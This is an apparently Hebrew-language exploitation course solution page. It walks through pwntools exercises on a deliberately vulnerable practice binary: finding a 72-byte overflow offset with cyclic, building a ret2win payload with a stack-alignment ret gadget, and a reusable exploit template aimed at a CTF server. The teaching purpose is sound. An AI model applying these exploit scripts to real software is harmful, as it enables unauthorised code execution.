לדלג לתוכן

0.4 מבוא לpwntools פתרון

פתרון - מבוא לpwntools

נעבור על שלושת התרגילים לפי הסדר, עם הקוד המלא, הפלט שאתם אמורים לראות, וההסבר למה כל חלק שם. בסוף יש תבנית מלאה ומוערת שתוכלו לשכפל לכל אתגר.

תזכורת על הבינאריים: הרכבנו את echo_server רגיל, ואת vuln עם -fno-stack-protector -no-pie כדי לכבות canary ו-PIE. pwn checksec ./vuln צריך להראות NX פעיל, Canary ו-PIE כבויים. המשמעות: כתובת win קבועה בין הרצות, ואין canary שיתפוס את הoverflow.


פתרון תרגיל 1 - לדבר עם התוכנית

#!/usr/bin/env python3
from pwn import *

context.log_level = 'info'

io = process('./echo_server')

io.recvuntil(b'ready')             # swallow the opening line
io.sendlineafter(b'> ', b'hello')  # wait for the prompt and then send
answer = io.recvline_contains(b'you said')
log.success("server replied: %s", answer.decode().strip())

io.close()

הפלט:

[+] Starting local process './echo_server': pid 12345
[+] server replied: you said: hello

מה קרה כאן, שלב אחר שלב:

  • process('./echo_server') הריץ את הבינארי ופתח אליו צינור.
  • recvuntil(b'ready') קרא ובלע את echo server ready כדי שלא יפריע לנו בהמשך.
  • sendlineafter(b'> ', b'hello') המתין עד שהשרת הדפיס את ההנחיה >, ורק אז שלח hello\n. זה הסנכרון שמנע מאיתנו לשלוח מוקדם מדי.
  • recvline_contains(b'you said') דילג על מה שלא רלוונטי והחזיר בדיוק את שורת התשובה.

למה זה עבד: הבנו שהתקשורת עם תוכנית היא ריקוד של שאלה-תשובה, ו-sendlineafter/recvuntil הם הצעדים שמסנכרנים אותנו איתה. אותו דפוס בדיוק יעבוד מול שרת מרוחק - רק נחליף process ב-remote.

טיפ: אם משהו לא הסתנכרן, הוסיפו context.log_level = 'debug' בראש הסקריפט ותראו hexdump של כל בית. זה הכלי הראשון לכל באג תקשורת.


פתרון תרגיל 2 - למצוא את ה-offset עם cyclic

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./vuln', checksec=False)

io = process(exe.path)
io.recvuntil(b'data:')
io.sendline(cyclic(200))    # De Bruijn sequence of length 200
io.wait()                   # wait for the process to crash

core = io.corefile          # pwntools parses the core dump
rip = core.rip
log.info("crashed with RIP = %#x", rip)

offset = cyclic_find(pack(rip)[:4])   # the 4 low bytes identify the offset
log.success("RIP offset = %d", offset)

לפני ההרצה ודאו ש-core dumps מופעלים:

ulimit -c unlimited
python3 sol2.py

הפלט:

[*] crashed with RIP = 0x61616173
[+] RIP offset = 72

ההסבר: שלחנו רצף cyclic של 200 בתים. הפונקציה read מילאה איתו את buf[64], המשיכה מעבר לbuffer, דרסה את ה-saved rbp (8 בתים), ואז דרסה את הreturn address. כשהפונקציה ביצעה ret, היא קפצה לכתובת שדרסנו - ולכן core.rip מכיל את הבתים של רצף ה-cyclic שנחתו שם. ברגע שאנחנו יודעים איזה רצף זה, cyclic_find אומר לנו מאיזה offset הוא הגיע.

מפת הזיכרון של המחסנית בזמן הקריסה נראית כך:

high addresses
+----------------------------+
| return addr                 |  <-- bytes 72..79 (overwritten, landed in RIP)
+----------------------------+
| saved rbp                   |  <-- bytes 64..71
+----------------------------+
| char buf[64]               |  <-- bytes 0..63
+----------------------------+
low addresses

הbuffer תופס 64 בתים, ועוד 8 בתים של saved rbp נותנים יחד 72 - בדיוק המספר שקיבלנו. תמיד שווה לחשב את הציפייה מראש ולוודא שהכלי מסכים איתה.

למה 4 הבתים הנמוכים: כברירת מחדל cyclic בונה רצף שבו כל חלון של 4 בתים ייחודי. הreturn address היא 8 בתים, אבל מספיק להסתכל על 4 הנמוכים כדי לזהות בוודאות מאיפה הם באו, ולכן pack(rip)[:4].

אם ה-core dump לא נוצר אצלכם (קורה בחלק מהסביבות), הנה חלופה שרצה תחת GDB ולא תלויה ב-core:

io = gdb.debug(exe.path, gdbscript='continue')
io.recvuntil(b'data:')
io.sendline(cyclic(200))
# the process crashes inside GDB; in pwndbg run:  cyclic -l $rsp

פתרון תרגיל 3 - לנתב את הזרימה ל-win

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./vuln', checksec=False)

io = process(exe.path)

offset = 72
ret = ROP(exe).find_gadget(['ret'])[0]   # ret gadget for stack alignment

payload = flat({
    offset: [ret, exe.sym['win']],
})

io.sendlineafter(b'data:', payload)
io.interactive()

הריצו, וקבלו shell:

[+] Starting local process './vuln': pid 13371
[*] Switching to interactive mode
congrats, flow was redirected!
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ls
echo_server  echo_server.c  vuln  vuln.c

פירוק הpayload, בית אחר בית:

+--------------------------+
| exe.sym['win']  (8 bytes) |  offset 80  <-- we jump here
+--------------------------+
| ret gadget      (8 bytes) |  offset 72  <-- the return address being overwritten
+--------------------------+
| cyclic padding  (72 bytes)|  offset 0..71
+--------------------------+
  • flat({72: [...]}) מילא 72 בתים של padding, ואז שם את שתי הכתובות בזו אחר זו.
  • ה-ret הבודד בעמדה 72 הוא הreturn address הראשונה. הוא לא עושה כלום פרט לקפוץ הלאה, אבל בכך הוא מזיז את rsp ב-8 בתים ומיישר את המחסנית לגבול של 16.
  • exe.sym['win'] בעמדה 80 היא היעד האמיתי. אחרי ה-ret הראשון, ה-ret השני קופץ לתוך win.

למה צריך את גאדג'ט ה-ret: בתוך system יש הוראות SSE כמו movaps שדורשות ש-rsp יהיה מיושר לגבול של 16 בתים בזמן הקריאה. כשאנחנו קופצים ישר ל-win, הalignment לרוב שבור בגלל שהוספנו כתובת אחת, והתוכנית קורסת בתוך system דווקא אחרי שהגענו ל-win. גאדג'ט ret בודד לפני win מתקן את הalignment. זה תקלה נפוצה מאוד, ושווה לזכור את הפתרון - הוא יחזור לאורך כל הקורס.

למה זה עבד ואיך להכליל: שלטנו ב-RIP כי ידענו את ה-offset המדויק (72) ואת כתובת היעד הקבועה (win, כי הבינארי הוא no-pie). זו התבנית של ret2win, והיא הבסיס לכל מה שנבנה מכאן: החליפו את win בROP chain, ותקבלו ret2libc; דלפו כתובת קודם, ותעקפו PIE ו-ASLR. אותו שלד, יעדים מתוחכמים יותר.


התבנית המלאה לשימוש חוזר

זו הגרסה שכדאי לשמור ולשכפל לכל אתגר. אותו סקריפט רץ מקומית, תחת GDB, ומול השרת - רק הארגומנט משתנה:

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./vuln', checksec=False)

host = 'pwnable.kr'
port = 9000

gdbscript = '''
b *vuln
continue
'''

def start():
    if args.REMOTE:
        return remote(host, port)
    elif args.GDB:
        return gdb.debug(exe.path, gdbscript=gdbscript)
    else:
        return process(exe.path)

io = start()

# ===== the attack =====
offset = 72
ret = ROP(exe).find_gadget(['ret'])[0]

payload = flat({
    offset: [ret, exe.sym['win']],
})

io.sendlineafter(b'data:', payload)
# ===================

io.interactive()

הרצה בשלושת המצבים:

python3 exp.py          # local - for fast development
python3 exp.py GDB      # local under GDB - stops on vuln to examine RSP/RIP
python3 exp.py REMOTE   # against the server - once everything works locally

זו זרימת העבודה שנחזור עליה בכל אתגר בקורס: מפתחים ומדבגים מקומית, ומשגרים REMOTE רק כשהקריסה מדויקת. עכשיו כשהכלים באצבעות, אנחנו מוכנים לצאת לשטח ב-pwnable.kr.